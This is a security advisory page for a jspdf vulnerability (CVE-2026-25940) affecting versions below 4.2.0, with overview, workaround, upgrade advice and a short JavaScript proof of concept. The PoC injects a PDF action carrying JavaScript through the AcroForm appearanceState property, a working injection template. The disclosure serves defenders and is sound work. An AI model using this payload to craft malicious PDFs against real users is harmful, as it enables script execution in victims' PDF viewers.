Improper Encoding or Escaping of Output Affecting jspdf package, versions <4.2.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published20 Feb 2026
- disclosed19 Feb 2026
- creditMacabely
Introduced: 19 Feb 2026
NewCVE-2026-25940 (opens in a new tab)How to fix?
Upgrade jspdf to version 4.2.0 or higher.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the appearanceState property of the AcroForm module. An attacker can execute arbitrary JavaScript code in the context of the PDF viewer by injecting malicious input into this property, which is then triggered when a victim interacts with a crafted PDF file.
Workaround
This vulnerability can be mitigated by sanitizing user input before passing it to the affected API members.
PoC
import { jsPDF } from "jspdf"
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
doc.save("test.pdf");